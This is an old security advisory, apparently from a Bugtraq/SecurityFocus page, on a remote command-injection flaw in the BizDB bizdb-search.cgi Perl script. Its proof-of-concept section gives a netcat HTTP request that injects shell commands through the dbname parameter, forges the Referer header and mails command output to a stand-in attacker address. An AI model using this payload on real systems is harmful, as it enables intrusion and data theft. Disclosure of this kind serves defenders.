BizDB bizdb-search.cgi Remote Command Execution Vulnerability
BID:1104
Info
BizDB bizdb-search.cgi Remote Command Execution Vulnerability
| Bugtraq ID: | 1104 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | Yes |
| Published: | Apr 13 2000 12:00AM |
| Updated: | Apr 13 2000 12:00AM |
| Credit: | Discovered by PErfecto Technology's BlackWatch Labs and posted to Bugtraq on April 13, 2000. |
| Vulnerable: |
CNC Technology BizDB 1.0 |
| Not Vulnerable: | |
Discussion
BizDB bizdb-search.cgi Remote Command Execution Vulnerability
BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, passes a variable's contents to an unchecked open() call and can therefore be made to execute commands at the privilege level of the webserver.
The variable is dbname, and if passed a semicolon followed by shell commands they will be executed. This cannot be exploited from a browser, as the software checks for a referrer field in the HTTP request. A valid referrer field can however be created and sent programmatically or via a network utility like netcat.
BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, passes a variable's contents to an unchecked open() call and can therefore be made to execute commands at the privilege level of the webserver.
The variable is dbname, and if passed a semicolon followed by shell commands they will be executed. This cannot be exploited from a browser, as the software checks for a referrer field in the HTTP request. A valid referrer field can however be created and sent programmatically or via a network utility like netcat.
Exploit / POC
BizDB bizdb-search.cgi Remote Command Execution Vulnerability
The following netcat session will cause a copy of the output of the ls command to be mailed to attacker@attacker-host
netcat target 80
GET
/cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)
The following netcat session will cause a copy of the output of the ls command to be mailed to attacker@attacker-host
netcat target 80
GET
/cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search
(empty line)
(End of Input)
Solution / Fix
BizDB bizdb-search.cgi Remote Command Execution Vulnerability
Solution:
This problem has been fixed in the most recent version of BizDB.
Solution:
This problem has been fixed in the most recent version of BizDB.
References
BizDB bizdb-search.cgi Remote Command Execution Vulnerability
References:
References:
- BizDB home page (CNC Technology)